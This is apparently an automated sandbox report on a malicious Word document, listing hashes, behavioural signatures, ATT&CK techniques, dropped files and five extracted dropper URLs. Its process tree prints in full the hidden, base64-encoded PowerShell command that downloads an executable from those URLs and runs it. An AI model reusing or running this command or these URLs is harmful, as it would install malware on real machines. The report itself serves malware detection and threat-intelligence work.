36cfa87ba3f5fdf893937365b60189aec1163986a8548d857da356119fd00553

General

Target

36cfa87ba3f5fdf893937365b60189aec1163986a8548d857da356119fd00553.doc
Size

181KB
MD5

d1dcac0221c9412998c82b5c17b1a4db
SHA1

c4e384e51f4fa6652e70d1ffbd5245c4819e714b
SHA256

36cfa87ba3f5fdf893937365b60189aec1163986a8548d857da356119fd00553
SHA512

074c74dd798a133085e309f9d1c8bbb640d9bd5810755f3c59df31b148f8856e06e45dbbb6c3fb1f6cf623d17db8eb12c0f936ea0070bdd03079f6f7709a14ad
SSDEEP

3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7V:9NO2k4PF7tGiL3HJk9rD7bdasiv86Z

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2020	5060	Powershell.exe

Blocklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow pid process

27 2020 Powershell.exe
66 2020 Powershell.exe
69 2020 Powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

Powershell.exe

pid process

2020 Powershell.exe

flow	pid	process
27	2020	Powershell.exe
66	2020	Powershell.exe
69	2020	Powershell.exe

pid	process
2020	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4504 WINWORD.EXE
4504 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid process

2020 Powershell.exe
2020 Powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 2020 Powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

4504 WINWORD.EXE
4504 WINWORD.EXE
4504 WINWORD.EXE
4504 WINWORD.EXE
4504 WINWORD.EXE
4504 WINWORD.EXE
4504 WINWORD.EXE
4504 WINWORD.EXE

pid	process
4504	WINWORD.EXE
4504	WINWORD.EXE

pid	process
2020	Powershell.exe
2020	Powershell.exe

description	pid	process
Token: SeDebugPrivilege	2020	Powershell.exe

pid	process
4504	WINWORD.EXE
4504	WINWORD.EXE
4504	WINWORD.EXE
4504	WINWORD.EXE
4504	WINWORD.EXE
4504	WINWORD.EXE
4504	WINWORD.EXE
4504	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4504 wrote to memory of 232	4504	WINWORD.EXE	splwow64.exe
PID 4504 wrote to memory of 232	4504	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\36cfa87ba3f5fdf893937365b60189aec1163986a8548d857da356119fd00553.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:232

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1A5C543A.wmf

Filesize
444B

MD5
3448ea984d790ad5f4297e07dc0a0f28

SHA1
d98eb2f07f410bbe5adfd8b00b20be0a2a73c208

SHA256
ff81da8a90dc86c24b81998aa2b05f363cc8710a2a1904b6c72f6f6f849cf05c

SHA512
8682d820af32466e48e9aed70378a2687ecfcd830bb5b3717a5458c4a0d4308b37d6fd5b157e4aa17b12fa39c626b0041a9808bdf8c5f4f40bf0cf4b1ec4b848

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD700.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_an5040sl.jmy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
e507afe22b7156791a640afcc9662c3c

SHA1
fd5d17507692c754cb54b23a29b77891231517b3

SHA256
9613b645434adaff83b59983cd8bb0141bce038607a1ceb7496f14d3dd5d0ad1

SHA512
cef95d2fc21ea502ca41a1c69048816965fdb44a1097fdc52bdd0d12ac2e54c2941ea4f12e2f4065292b6613a32a8e48a0d5dff74b65cb081acb4705b22e4708

Download Submit
memory/2020-50-0x00000280CDE90000-0x00000280CDEB2000-memory.dmp

Filesize
136KB

Download
memory/4504-8-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-13-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-11-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-10-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-12-0x00007FFB05E30000-0x00007FFB05E40000-memory.dmp

Filesize
64KB

Download
memory/4504-7-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-14-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-15-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-16-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-18-0x00007FFB05E30000-0x00007FFB05E40000-memory.dmp

Filesize
64KB

Download
memory/4504-17-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-0-0x00007FFB07E90000-0x00007FFB07EA0000-memory.dmp

Filesize
64KB

Download
memory/4504-6-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-9-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-5-0x00007FFB07E90000-0x00007FFB07EA0000-memory.dmp

Filesize
64KB

Download
memory/4504-4-0x00007FFB07E90000-0x00007FFB07EA0000-memory.dmp

Filesize
64KB

Download
memory/4504-2-0x00007FFB07E90000-0x00007FFB07EA0000-memory.dmp

Filesize
64KB

Download
memory/4504-70-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-71-0x00007FFB47EAD000-0x00007FFB47EAE000-memory.dmp

Filesize
4KB

Download
memory/4504-72-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-73-0x00007FFB47E10000-0x00007FFB48005000-memory.dmp

Filesize
2.0MB

Download
memory/4504-3-0x00007FFB07E90000-0x00007FFB07EA0000-memory.dmp

Filesize
64KB

Download
memory/4504-1-0x00007FFB47EAD000-0x00007FFB47EAE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads